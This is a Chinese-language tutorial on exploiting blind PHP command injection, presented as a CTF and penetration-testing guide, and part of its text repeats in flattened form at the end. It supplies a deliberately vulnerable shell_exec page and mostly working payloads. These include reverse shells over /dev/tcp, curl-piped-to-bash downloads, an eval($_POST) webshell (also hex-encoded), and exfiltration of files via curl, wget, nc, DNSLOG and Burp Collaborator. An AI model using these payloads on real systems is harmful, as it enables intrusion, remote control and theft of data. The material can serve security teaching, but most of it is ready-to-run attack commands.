浅谈PHP无回显命令执行的利用
字数 1113 2025-08-19 12:41:56

PHP无回显命令执行的利用技术详解

一、前言

在CTF比赛和渗透测试中,经常会遇到命令执行但没有回显的情况。本文全面总结了无回显命令执行的判断方法和利用技术,帮助安全研究人员有效利用这类漏洞。

二、判断方法

1. 代码审计

通过审计代码逻辑判断是否存在命令执行漏洞,这需要扎实的代码审计能力。

2. 延时测试

ip=| sleep 5

如果执行后延时5秒,证明存在命令执行漏洞。

3. HTTP请求测试

注意:ping命令不会产生HTTP请求

步骤:

  1. 公网服务器监听端口:
nc -lp 4444
  1. 目标服务器执行:
ip=| curl 公网IP:4444

如果公网服务器收到请求,则存在漏洞。

4. DNS请求测试(DNSLOG)

  1. 注册ceye.io获取域名(如v4utm7.ceye.io)
  2. 执行命令:
ip=| curl `whoami`.v4utm7.ceye.io
  1. 查看dnslog记录,如显示www-data则存在漏洞。

三、利用方法

测试环境代码

<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
include("flag.php");
$ip = $_REQUEST['ip'];
if($ip){
    shell_exec("ping -c 4 ".$ip);
}
?>

1. 直接执行命令写入文件

条件:站点目录有写权限

方法:

# 写入文本文件
cat flag.php > flag.txt
cat flag.php >> flag.txt

# 使用复制命令
cp flag.php flag.txt

# 使用移动命令
mv flag.php flag.txt

# 打包压缩
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
zip flag.zip flag.php

解压后获取文件内容。

2. 写入Webshell

条件:站点目录有写权限

方法:

# 直接写入
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e | xxd -r -ps > webshell.php
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php

# 外部下载
wget 网址 -O webshell.php

使用蚁剑等工具连接webshell获取flag。

3. VPS记录脚本

条件:目标服务器可发起HTTP请求

步骤:

  1. 公网服务器创建record.php:
<?php
$data = $_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f, $data);
fclose($f);
?>
  1. 目标服务器执行:
curl http://公网IP/record.php?data=`cat flag.php | base64`
wget http://公网IP/record.php?data=`cat flag.php | base64`
  1. 获取base64编码内容并解码。

4. DNSLOG带出数据

注意

  • 避免空格,可用<代替
  • 反引号包含命令
  • 域名长度限制

方法:

curl `cat<flag.php|base64`.v4utm7.ceye.io

# 或
`cat flag.php|sed s/[[:space:]]//g`.v4utm7.ceye.io

查看dnslog获取base64数据并解码。

5. 反弹Shell

条件:目标服务器可连接公网

方法1:

  1. 公网服务器:
nc -vv -lp 8888
  1. 目标服务器:
bash -i >& /dev/tcp/公网IP/8888 0>&1
  1. Payload:
ip=127.0.0.1%0d%0abash+-i+>%26+/dev/tcp/公网IP/8888+0>%261

方法2:

  1. 公网服务器:
nc -lvp 4444
  1. 创建qwzf文件内容:
bash -i >& /dev/tcp/公网IP/4444 0>&1
  1. 目标服务器:
ip=| curl 公网IP:8002/qwzf | bash

6. MSF反向连接

条件:目标服务器可连接公网

步骤:

  1. 公网服务器MSF配置:
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 4444
set lhost 公网IP
set exitonsession false
exploit -j
  1. 目标服务器执行:
ip=| bash -i >& /dev/tcp/公网IP/4444 0>&1

ip=| curl 公网IP:8002/qwzf | bash
  1. 获取shell后查看flag。

7. 使用NC传输文件

条件:目标服务器有nc工具

TCP方法:

  1. 公网服务器:
nc -tlp 4444
  1. 目标服务器:
ip=| nc -t 公网IP 4444 < flag.php

UDP方法:

  1. 公网服务器:
nc -ulp 4444
  1. 目标服务器:
ip=| nc -u 公网IP 4444 < flag.php

8. Curl上传文件

条件:curl命令可用

步骤:

  1. 获取Burp Collaborator地址(如jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net)
  2. 执行:
ip=| curl -X POST -F xx=@flag.php http://Collaborator地址
  1. 查看Collaborator收到的数据获取flag。

四、总结

本文详细介绍了多种无回显命令执行的利用技术,包括:

  • 直接写入文件
  • Webshell写入
  • VPS记录脚本
  • DNSLOG外带数据
  • 反弹Shell
  • MSF反向连接
  • NC文件传输
  • Curl上传文件

根据目标环境的不同限制条件,选择最适合的利用方法。在实际测试中,可能需要结合多种技术才能成功获取数据。

PHP无回显命令执行的利用技术详解 一、前言 在CTF比赛和渗透测试中,经常会遇到命令执行但没有回显的情况。本文全面总结了无回显命令执行的判断方法和利用技术,帮助安全研究人员有效利用这类漏洞。 二、判断方法 1. 代码审计 通过审计代码逻辑判断是否存在命令执行漏洞,这需要扎实的代码审计能力。 2. 延时测试 如果执行后延时5秒,证明存在命令执行漏洞。 3. HTTP请求测试 注意 :ping命令不会产生HTTP请求 步骤: 公网服务器监听端口: 目标服务器执行: 如果公网服务器收到请求,则存在漏洞。 4. DNS请求测试(DNSLOG) 注册ceye.io获取域名(如v4utm7.ceye.io) 执行命令: 查看dnslog记录,如显示www-data则存在漏洞。 三、利用方法 测试环境代码 1. 直接执行命令写入文件 条件 :站点目录有写权限 方法: 解压后获取文件内容。 2. 写入Webshell 条件 :站点目录有写权限 方法: 使用蚁剑等工具连接webshell获取flag。 3. VPS记录脚本 条件 :目标服务器可发起HTTP请求 步骤: 公网服务器创建record.php: 目标服务器执行: 获取base64编码内容并解码。 4. DNSLOG带出数据 注意 : 避免空格,可用 <代替 反引号包含命令 域名长度限制 方法: 查看dnslog获取base64数据并解码。 5. 反弹Shell 条件 :目标服务器可连接公网 方法1: 公网服务器: 目标服务器: Payload: 方法2: 公网服务器: 创建qwzf文件内容: 目标服务器: 6. MSF反向连接 条件 :目标服务器可连接公网 步骤: 公网服务器MSF配置: 目标服务器执行: 或 获取shell后查看flag。 7. 使用NC传输文件 条件 :目标服务器有nc工具 TCP方法: 公网服务器: 目标服务器: UDP方法: 公网服务器: 目标服务器: 8. Curl上传文件 条件 :curl命令可用 步骤: 获取Burp Collaborator地址(如jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net) 执行: 查看Collaborator收到的数据获取flag。 四、总结 本文详细介绍了多种无回显命令执行的利用技术,包括: 直接写入文件 Webshell写入 VPS记录脚本 DNSLOG外带数据 反弹Shell MSF反向连接 NC文件传输 Curl上传文件 根据目标环境的不同限制条件,选择最适合的利用方法。在实际测试中,可能需要结合多种技术才能成功获取数据。